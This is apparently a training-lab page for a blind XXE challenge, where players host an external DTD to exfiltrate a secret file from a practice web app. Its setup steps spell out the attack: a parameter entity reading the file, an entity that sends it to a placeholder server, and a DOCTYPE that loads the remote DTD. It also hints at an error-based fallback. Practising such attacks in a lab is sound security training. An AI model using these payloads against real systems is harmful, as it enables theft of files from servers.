Blind XXE via a malicious external DTD
Same stock-check parser, but nothing is reflected. Host an external DTD that exfiltrates a file over HTTP to your server.
Scenario
The XML parser resolves entities but the response never contains their value and errors are generic. You have an exploit server to host files and read request logs.
Your objective
Exfiltrate the contents of /home/carlos/secret to your exploit server. Solved when you submit the secret value.
Capture 1 flag(s) and record the exact technique for each step.
Getting started
- On the exploit server host
exfil.dtdwith a parameter entity that reads the file and a second that requestshttps://YOUR-SERVER/?x=%file;. - In the stock-check body, declare
<!ENTITY % xxe SYSTEM "https://YOUR-SERVER/exfil.dtd"> %xxe;inside the DOCTYPE. - Send the request; watch the exploit server access log for the callback.
- URL-decode the exfiltrated value.
- Submit the secret as the flag.
Connecting
Press Launch Lab to build your own instance, then use the How to connect panel — it shows the browser link as soon as the app is running. Hit Stop when you are done, or Relaunch / Reset for a clean copy.
Credentials: No account required. Use the lab exploit server to host your DTD.
Hints
Tip
Newlines break the URL. If HTTP exfil fails, use an error-based DTD that forces the file contents into an exception message.
Get access to this lab to see how to connect.
Challenge questions
0 / 2 correct- Submit the initial flag you recovered while solving this lab.
- Which vulnerability class does this lab cover? (a few words)
On this page
Access
12.00 USD≈ $12.00
At a glance
- Operating system
- Web application
- Connection
- Browser / HTTP
- Questions
- 0 / 2 solved
- Launched by
- 0 hackers
- Maintained by
- Tutor Demo